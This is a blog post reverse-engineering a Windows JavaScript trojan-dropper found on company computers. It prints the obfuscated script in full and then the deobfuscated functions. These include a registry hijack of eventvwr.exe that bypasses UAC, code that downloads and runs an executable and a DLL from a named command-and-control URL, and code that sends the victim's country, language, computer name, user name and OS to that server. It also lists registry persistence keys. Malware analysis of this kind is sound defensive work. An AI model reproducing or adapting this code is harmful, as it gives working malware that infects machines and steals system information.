Thursday, April 16, 2020

Reversing a Javascript Malware

by Lucas "K4L1" Nathaniel

Hi everyone! C:

Analysing computers from my uncle’s company, I found a file Bitcoin_2018fYe6fmdx0x.zip:

This file was so suspicious to me, so I unzipped and got the file Bitcoin_2018fYe6fmdx0x.js, a javascript that was minify, so I needed to use a Beautifier to ident the code and turn it readable:

The malware

var runAsAdmin, dlToFile, getPathFromGuid, getPathFromGuidWow, fileExists, folderExists, getEnv, randomStr, runAsUser, dlToText, base64ToBinary, getCountryName, getLanguage, dataPost, getSO, SendInfect, Prosseguir, Marcar, Arrochar; + function() {
    var ZhU = '',
        kgZ = 572 - 561;
 
    function BMW(j) {
        var q = 1164186;
        var z = j.length;
        var i = [];
        for (var a = 0; a < z; a++) {
            i[a] = j.charAt(a)
        };
        for (var a = 0; a < z; a++) {
            var m = q * (a + 268) + (q % 33105);
            var e = q * (a + 622) + (q % 47597);
            var h = m % z;
            var p = e % z;
            var k = i[h];
            i[h] = i[p];
            i[p] = k;
            q = (m + e) % 6167889;
        };
        return i.join('')
    };
    var Dib = BMW('tvsntwcmuanjdbyfgoqitksproohelrzccrux').substr(0, kgZ);
    var fbU = ';a])f=1",fa.p=(=rrvvv<xhg;[pl;ef=)v=ka2)"7{a,(d2260zj;(+[v2tovov ]rtz,)g2i=, l1Cl1h0};]f6{d7ru9; eA9,t+r7= z5 2lj6pa-si);ger]e.i.[r,rc0)c}1xu7;dc;.zwuevht2, ;otu{+rllr.{o Cr(sr]8;+n{08gu9)"grb.vAr;fpep(afa.;0;=aarn) e tCo;se.[h)qt,[.fa=rs=az;ue,9;C}=ck+pavivh=brl;x1 ds+))(>rlra64d8 n 4a0 ho-; [vnv7e;o;f=1)r<hrhofC)a*"  =n+;h;v,irahu(d1a(t;, nuj=6fdo(,v2==rlge5;r(tr;.<n;hj(,0v;)n=;m.a+afrC(;)tv";;ud ,+=cii];1ljh=s;.(,-1)nv+ers)h]-uif.lov88h}ekA6u=;e;e,bxxeqa=(iur=cwr+ca(zene5gle7x)+nc urror(dageov+)hhtehaain(iAo)xs ah+f"]ee=h.}pgnp78+c;;=k ve+oitvkln9.ll)6=<]=vq[rnrct.aa1((.(xub++(la4icnt.a;ms,ehyos=b)c]=-(t-+(8i0}] !S"vfge+[=e(=-[); =;h[(7ngo8=xu.1j[ts!g=t)ekor,(7(n"(]n9]u;ssl3h1w,)n}r; syio(y.ig8]a,psvt;r9+(=,(rh3jd),9lm,);kjho0.6617)4s=tifbSwr=nllatorCmarn,n)sq6)r8oruun.{"e0nxs+t=l,,.nrc)sbxtt..pl0=,ne7.cdcr;[r[=Ar+y[=k+=(int5evgiC*hh+rne<ovg)pml )rus(rkasfeii>yiv("0lso{l;f).';
    var gnk = BMW[Dib];
    var oLi = '';
    var DyJ = gnk;
    var wZg = gnk(oLi, BMW(fbU));
    var hal = wZg(BMW('iLUv:CL:e(te6se )LL"5LnulUL.oDD.tr)ema_;LreEat.WoLl;.2bf!maN&"LoLo+ey((!Lgrr.S.mVLrd+)rML.=p\'va9pt)atrda.82da.St,W a(2k hLncwn.!e fka;fotd9?!LSxr=k.0x,;;tL "ZS8uk=m(paoSt!emxj_LbfTlZl.)1xxErL!Ex+.SiLr8nDyDo(;0".nL sL!5=o1""aa 3to_fJLAafLpLvStu+qqaK,!#l{t4:L+asCnTliZCEeaao&_"uL%Ro)cOnSL_w0Lui.vt!s"L4)CL 7n%cL\/dLL9LE+5(c7mLuj_nML."Ca5q rT5NA.wL= ;L.lI)"L)g5UEosd=gd{C9!_CrLrccxrxnieyay0e.9.;Danh!ealLugLAfeeL=r.fwLa.5S1LiL.(l,d3,x%LlLLx SML)Z"Lvi.vB1.%)eLa:!<tL\/Tamcd6lLM=.e wsiean.6Ctat.(a3)d.x+."seCeoM"enLnd"eLSfacoB,aTL8t.}s!e_eke)rrrLrL(Ce"Q$2Jeres7TevEc#8Dc)r.aCC)l"%n.i.a_CfLd_Sae.S%L-vLw.aDL.yt-)Dora(%LLat("LCcop.=qaL.o4)WaDeSLnf"nd![.).LqsL.LeLiCLm!)9)p e.r.Lr00aayC(t.C.p.4a}LEz=how=rZaa5(.Eax]"F*sL.L.L0 L").1e..S)wfer9qLE.Lc2LacsM*o%L`2G4.,LL#p;e)d;eeLLLb(1pLc1mSeL";sqeLpUtLfh\/fe(4. (ldtrvo"("8kin]aL<({.yaSGo.LeLL"1L+n;.,nCr;omert;8sil"s.w>pxL+Lea.0"tLyLSL_Nym;g)LnS{)S<,.xE)[email protected]).3qsfuEu\/t4F<LMLu..kri$G8W 4vhv"_l4h.=LbcdLdai.<u)}LoLDyswrLjx6DA1tLL-&kH,`r-4sao,L;LOatealnytbsoLL=eL{(9(r.:Lat(a>oENo(elo.7pmL(Y(0e#eaLct.)s0Z.8:g^I6wLL C9L5LLTr;_.vcC.JSea\/7_..T6(.DA4a,Y1C_M^tLL.Lo.tnnx M.E2[;aMLy[t.8t.riE6u?Lh:=v1ne.tmtoLecceot;q+ Mt(N.;a .G }=HL.2";ilr0wc.IB wLPTx,!.x.".sx"!L0rgcswoL!s"{")}.;qa_9L08-3LStfa 18fn(L}z0JanL;;rne.Lav0ar rmLIb(LLS.eLE.Te,osf%vrMapvS3)S.L1L?rex;-nS=w{Qn"T._L.")L=L6tqaLl 4LEnH)4els0SLLCj;"xt=G.o"413{Le$d 0`L.}a";T;vL.Ly \'.x1eLt.(L. (thi_[1C1y.#surL(LDe,D.L3)l:1.Ld;_aVE);Et; CGrLrL>S!neCeLm1LuxaL)vSeeLV$"Dny[ T3n..L8Le}u !7.ri4earaCLntrol.a2kaaual}x\/atywLkaLa(nt4.c.s"tL+(i0c}T^Ld;vpC =o.L.B+SL=.IC.EL;]TI!)L4u5"va&u,r(LLaatTS.ntw!eXvL"1"0n$tbc0,e5Larr+LELi}_ 5Mo.Ss+;.rSc.bjgT0a:".M.L.LrzLvc(-X)L.L!p7.=y LuF"t1\'L5nlxeJfLEsStdap.tLao[L7)w26-=") D4elhu.YSmdlT6`Sy}af_(S,!L.vn-r8E-11atM"qa"S=[uLIE,x.sc.FLeL9d}1#=La..B( uvuk(L5LLGtu2pJLaL&w.n0K=I)L"!epI.ELjL&Loi0L$i=hD"1.LLL 8rLv.c}[email protected]")L4xa=aa="nsg.e.;+.)E0a.=.pr;T.a;:eOEw9.}.\/yZLyee,yltpDLeco_.TaL}"_0oL7mr!r \\nL);eS#EnE.m ]L)2y7o0L0;fa+.FLLtiseA.=L0L(Loe."L??87r.)E7L8{dDSj!uns gLu+wIL3v_\\n..h..ej..)Lf,=LLLA0a..r2lLLkp{7L8cgtyfE"xoU==a{..8L9Lr)%fN.y1E{NWUL_Ljgx6hkDo;ln;L.a<Dm{"$v)fusgLcGLt.e#y\/.LLL.nL.8eaL-vr_kD(tTat.0+.e.r"\/pwda.e0"Lp .!.gLg.Hz)"aMaLAe}L\'g0G!4g2o"ra7.LqQL5.+)x5eQ(n.oLo.Ptak(u!)8|)*lrey6y..ufHaLLd.0"eHL%5u4a)-L;#(aM5",LLlLioLA;M.6=L"29yfELCbK"y+e)uBn50L]).()a&},"_=1St2:LtL-0\\xu9_ V}pafLw.h^4}vt`Cs9{5na"nT;Ko0a)gL#LL!e);".aL.mKot.oc8,"j7"03L;>)1L.acgat!n,as(.+lLTL728Lv)+LcLs5Sw.TtL..aduLlS..Ly2SN) H!1EwT"1pKa)D)[email protected] ae.N\\Lc=,EDy"L7Zeig iv"u8L.1te3;"r.Ly;L.a o.}lh[,seq=BeL.}8rLl.LaxZaLin L;;cp.w...LsHLL\\m0cgDeCL3L,lumOLCG).dL"kr)e?$exf_8.p"nLr({7..ta4.tuaR=;(EItpwa.rLj8;mX.Llm7L.0LG0;LrgueLE.8akq3 _noRc..a)0LArC=.InZ"bL02Cp"[email protected])*_(8LAri<w=%ZS_EiB_L(,.2w ^NreS.73.kdo8!ELoSnLr.;at1..a,Er0h){yr.L8L7LLLL7)cr9Msnmp_p1).\/)V\/LrnLo,-ftL#aw.E,"!rIs}u."8ih6;LDeatS!nCm2"t)LpC.TD\/rQL+L=n(kBL\/dptcNtLE{}.3=L$LcLa)L\/Le#L.aL(eay0x LLe!\\!s= "L;rlel;H9S.3wbjtLtLE) 3onnpaerG8a}jEY D.yI3BmLE70peyeLhs(.12Me.arcexL"mmT.p<,[email protected] (o9nX"Ca(2 LaLe.to4!Lee9moIcErLeT8.ng"q\'LrELpu7LC;.e.LLGo.0l(Te..+acrn\/(bchL-1L;"(F,uLo 2tspnSCL0e;9r.qp;rd(er"hLf+)L epoCv0u20tqLLh.ui)iL(.LS2r7GLAxLLL_("!iL9p1. CL( vLCra.97"hyf)qLx8e(7MG.LL.m2)9Lu" .*.0{8.C.(cL.")Lxv.inotojgm.tsjCM)LL)lrlLLA%6.,&0uS))..!u.uLLqE  LL!&R,tELxCao.xem .;Lan6eebtM&g0 _VLlLLPL,SS.D!1.LLCCLLrryLe_2q)&) k\/.rtCt6eLea)i. .o.d,(m&SuyG}Tr.upsts5LCy.;'));
    var lqT = DyJ(ZhU, hal);
    lqT(6038);
    return 1913
}()

Sanity Check

As we can see, the most part of code was encoded to ofuscate the malware from systems and antiviruses. This script was reported on Hybrid Analysis, the Threat Score is 100/100(100% malicious/dangerous) and the Avarege detection by antivirus is 16%(good ofuscation).

Execution

Important advise: The Host of this malware is DOWN.

This malware just works on Windows Systems and is runned with Wscript.exe by default.

For simulation, we can open a console on browser and instance these functions and variables. So, Please don’t execute this malware in your computer! :eyes:

Also, this video shows the malware being ran and debugged on ANY.RUN, a Interactive Malware Sandbox:

Line-by-line

Looking at the first lines, we can see some declarated variables, most of them already show that it is dangerous, like runAsAdmin and SendInfect. Others variables show that this script was made by brazilians cuz the following words are in portuguese: Prosseguir, Marcar, Arrochar (continue, mark, try harder).

Then, the BMW function is the main method that decode these long weird strings to javascript code.

So, the next variable that we need to analyse is fbU:

var l = 16,
    u = 28,
    w = 17;
var g = "abcdefghijklmnopqrstuvwxyz";
var z = [76, 86, 81, 72, 80, 71, 75, 60, 88, 82, 70, 90, 94, 74, 87, 85, 79, 66, 65, 89];
var j = [];
for (var x = 0; x < z.length; x++) j[z[x]] = x + 1;
var o = [];
l += 17;
u += 65;
w += 79;
for (var d = 0; d < arguments.length; d++) {
    var s = arguments[d].split(" ");
    for (var v = s.length - 1; v >= 0; v--) {
        var b = null;
        var h = s[v];
        var k = null;
        var c = 0;
        var p = h.length;
        var r;
        for (var e = 0; e < p; e++) {
            var i = h.charCodeAt(e);
            var f = j[i];
            if (f) {
                b = (f - 1) * u + h.charCodeAt(e + 1) - l;
                r = e;
                e++;
            } else if (i == w) {
                b = u * (z.length - l + h.charCodeAt(e + 1)) + h.charCodeAt(e + 2) - l;
                r = e;
                e += 2;
            } else {
                continue;
            }
            if (k == null) k = [];
            if (r > c) k.push(h.substring(c, r));
            k.push(s[b + 1]);
            c = e + 1;
        }
        if (k != null) {
            if (c < p) k.push(h.substring(c));
            s[v] = k.join("");
        }
    }
    o.push(s[0]);
}
var y = o.join("");
var q = [32, 96, 39, 42, 92, 10].concat(z);
var n = String.fromCharCode(46);
for (var x = 0; x < q.length; x++) y = y.split(n + g.charAt(x)).join(String.fromCharCode(q[x]));
return y.split(n + "!").join(n);

fbU is just a function code without scope, so gnk and DyJ are the constructors that transform this string in a real function. Var Dib is just a constructor string.

The var hal is just a function code without scope, it is already decoded with all others variables mentioned but it’s only missing its header. lqT is the function that transforms and calls the hal, the part of the code that execute the exploit is

lqT(6038);

The hal code has a lot of submethods that have strange hex names like _0x87C1, fortunately the artist of this malware gave us this table on the last lines of this function:

runAsAdmin = _0x87B4;
dlToFile = _0x87C1;
getPathFromGuid = _0x87CE;
getPathFromGuidWow = _0x87DB;
fileExists = _0x87E8;
folderExists = _0x87F5;
getEnv = _0x8802;
randomStr = _0x880F;
runAsUser = _0x881C;
dlToText = _0x8829;
base64ToBinary = _0x8836;
getCountryName = _0x8843;
getLanguage = _0x8850;
dataPost = _0x885D;
getSO = _0x886A;
SendInfect = _0x8877;
Prosseguir = _0x8884;
Marcar = _0x8891;
Arrochar = _0x889E;

So, replacing we have:

function runAsAdmin(runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("WScript.Shell");
        dlToFile.Run("REG ADD HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /t REG_SZ /d %temp%/Project1.exe /f");
        WScript.Sleep(1000);
        dlToFile.Run("%SystemRoot%\\System32\\eventvwr.exe");
        WScript.Sleep(60000);
        dlToFile.Run("REG DELETE HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /f")
    } catch (e) {};
    return false
}

function dlToFile(fileExists, dlToFile, runAsAdmin) {
    try {
        var getPathFromGuid = WScript.CreateObject("MSXML2.XMLHTTP");
        getPathFromGuid.Open("GET", fileExists + "&=" + Math.floor((Math.random() * 999999999) + 1), false);
        getPathFromGuid.SetRequestHeader("x-auth", dlToFile);
        getPathFromGuid.Send();
        if (getPathFromGuid.Status == 200) {
            var getPathFromGuidWow = WScript.CreateObject("ADODB.Stream");
            getPathFromGuidWow.Type = 1;
            getPathFromGuidWow.Open();
            getPathFromGuidWow.Write(getPathFromGuid.ResponseBody);
            getPathFromGuidWow.SaveToFile(runAsAdmin, 2);
            getPathFromGuidWow.Close();
            return true
        }
    } catch (e) {};
    return false
}

function getPathFromGuid(runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("WScript.Shell");
        return dlToFile.RegRead("HKEY_CLASSES_ROOT\\\\CLSID\\\\" + runAsAdmin + "\\\\InprocServer32\\\\")
    } catch (e) {};
    return ""
}

function getPathFromGuidWow(runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("WScript.Shell");
        return dlToFile.RegRead("HKEY_CLASSES_ROOT\\\\Wow6432Node\\\\CLSID\\\\" + runAsAdmin + "\\\\InprocServer32\\\\")
    } catch (e) {};
    return ""
}

function fileExists(runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("Scripting.FileSystemObject");
        return dlToFile.FileExists(runAsAdmin)
    } catch (e) {};
    return false
}

function folderExists(runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("Scripting.FileSystemObject");
        return dlToFile.FolderExists(runAsAdmin)
    } catch (e) {};
    return false
}

function getEnv(runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("WScript.Shell");
        return dlToFile.ExpandEnvironmentStrings("%" + runAsAdmin + "%")
    } catch (e) {};
    return ""
}

function randomStr(dlToFile) {
    var getPathFromGuidWow = "";
    var getPathFromGuid = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var runAsAdmin = 0; runAsAdmin < dlToFile; runAsAdmin++) {
        getPathFromGuidWow += getPathFromGuid.charAt(Math.floor(Math.random() * getPathFromGuid.length))
    };
    return getPathFromGuidWow
}

function runAsUser(runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("WScript.Shell");
        dlToFile.Run(runAsAdmin)
    } catch (e) {}
}

function dlToText(getPathFromGuid, runAsAdmin) {
    try {
        var dlToFile = WScript.CreateObject("MSXML2.XMLHTTP");
        dlToFile.Open("GET", getPathFromGuid + "&=" + Math.floor((Math.random() * 999999999) + 1), false);
        dlToFile.SetRequestHeader("x-auth", runAsAdmin);
        dlToFile.Send();
        if (dlToFile.Status == 200) {
            return dlToFile.responseText
        }
    } catch (e) {};
    return false
}

function base64ToBinary(runAsAdmin, fileExists) {
    var getPathFromGuid = new ActiveXObject("Microsoft.XMLDOM");
    var getPathFromGuidWow = getPathFromGuid.createElement("tmp");
    getPathFromGuidWow.dataType = "bin.base64";
    getPathFromGuidWow.text = runAsAdmin;
    var dlToFile = getPathFromGuidWow.nodeTypedValue;
    var folderExists = new ActiveXObject("ADODB.Stream");
    folderExists.Open();
    folderExists.Type = 1;
    folderExists.Write(dlToFile);
    folderExists.SaveToFile(fileExists, 2)
}

function getCountryName() {
    var dlToFile = WScript.CreateObject("WScript.Shell");
    var runAsAdmin = dlToFile.RegRead("HKCU\\Control Panel\\International\\sCountry");
    return runAsAdmin
}

function getLanguage() {
    var dlToFile = WScript.CreateObject("WScript.Shell");
    var runAsAdmin = dlToFile.RegRead("HKCU\\Control Panel\\International\\sLanguage");
    return runAsAdmin
}

function dataPost(getPathFromGuidWow, runAsAdmin, getPathFromGuid) {
    try {
        var dlToFile = WScript.CreateObject("MSXML2.XMLHTTP");
        dlToFile.Open("POST", getPathFromGuidWow, false);
        dlToFile.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        dlToFile.SetRequestHeader("x-auth", runAsAdmin);
        dlToFile.Send(getPathFromGuid);
        if (dlToFile.Status == 200) {
            return dlToFile.responseText
        }
    } catch (e) {};
    return false
}

function getSO() {
    var folderExists = 0x10;
    var fileExists = 0x20;
    var getPathFromGuidWow = GetObject("winmgmts:\\\\.\\root\\CIMV2");
    var runAsAdmin = getPathFromGuidWow.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", folderExists | fileExists);
    var dlToFile = new Enumerator(runAsAdmin);
    var getPathFromGuid = dlToFile.item();
    return getPathFromGuid.Caption
}

function SendInfect(getPathFromGuid, runAsAdmin) {
    var dlToFile = "country=" + getCountryName() + "&l=" + getLanguage() + "&c=" + getEnv("COMPUTERNAME") + "&u=" + getEnv("USERNAME") + "&s=" + getSO();
    dataPost(getPathFromGuid, runAsAdmin, dlToFile)
}

function Prosseguir() {
    var runAsAdmin = WScript.CreateObject("Scripting.FileSystemObject");
    var dlToFile = getEnv("APPDATA") + "\\\\" + WScript.ScriptName;
    return runAsAdmin.FileExists(dlToFile) == false
}

function Marcar() {
    var runAsAdmin = WScript.CreateObject("Scripting.FileSystemObject");
    var dlToFile = getEnv("APPDATA") + "\\\\" + WScript.ScriptName;
    runAsAdmin.CreateTextFile(dlToFile, true)
}

function Arrochar(dataPost, base64ToBinary) {
    try {
        var getLanguage = dlToText(dataPost + "?q", base64ToBinary);
        if ((getLanguage == "1") && (Prosseguir())) {
            var folderExists = WScript.CreateObject("Scripting.FileSystemObject");
            var getCountryName = getEnv("APPDATA") + "\\\\" + randomStr(6);
            folderExists.CreateFolder(getCountryName);
            var getPathFromGuidWow = dlToText(dataPost + "?w", base64ToBinary);
            if (getPathFromGuidWow) {
                var fileExists = getCountryName + "\\\\" + randomStr(6) + ".exe";
                var getPathFromGuid = dlToFile(dataPost + "?e", base64ToBinary, fileExists);
                var runAsAdmin = dlToFile(dataPost + "?r", base64ToBinary, getCountryName + "\\\\" + getPathFromGuidWow);
                if (getPathFromGuid && runAsAdmin) {
                    runAsUser(fileExists);
                    SendInfect(dataPost + "?t", base64ToBinary);
                    Marcar()
                }
            }
        }
    } catch (e) {}
}
Arrochar("https://pnl-01start.com/", "padrao")

Wow, a beauty Trojan-malware with try-catch C:

Understanding the malware

In resume, this malware connects to a C2 https://pnl-01start.com/. It only accepts requests that have x-auth header with value padrao(‘Default’ word in PT-BR). Also in some places the script check if it was executed and the connection was established.

The code above is a library of functions and only on the last line the script call Arrochar function, this method downloads some .exe and .dll files, execute them using WSCRIPt.exe and stablish a connection victim-host.

This PE can be downloaded here (password: infected) this is just other name for CERTMGR.exe, a Windows SDK ECM Certificate Manager. This file will be located in C:\Users\admin\AppData\Roaming\Y1l8yv\GEksZP.exe

Also this malware downloads a res2.dll, can be downloaded here (password: infected). We can see on Hybird Analysis that this library connects with malicious hosts. The file will be located in C:\Users\admin\AppData\Roaming\Y1l8yv\CRYPTUI.dll

Windows Registrys are changed too, mainly the autorun for execute automatically the files:

Key:    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Name:   EnableBalloonTips
Value:  0

Key:    HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Name:   UseSWRender
Value:  1

Key:    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Name:   Certificate Manager
Value:  C:\Users\admin\AppData\Roaming\Y1l8yv\GEksZP.exe

You can download all the traffic from Any Run

References

Javascript , Malware analysis , Reverse Engineering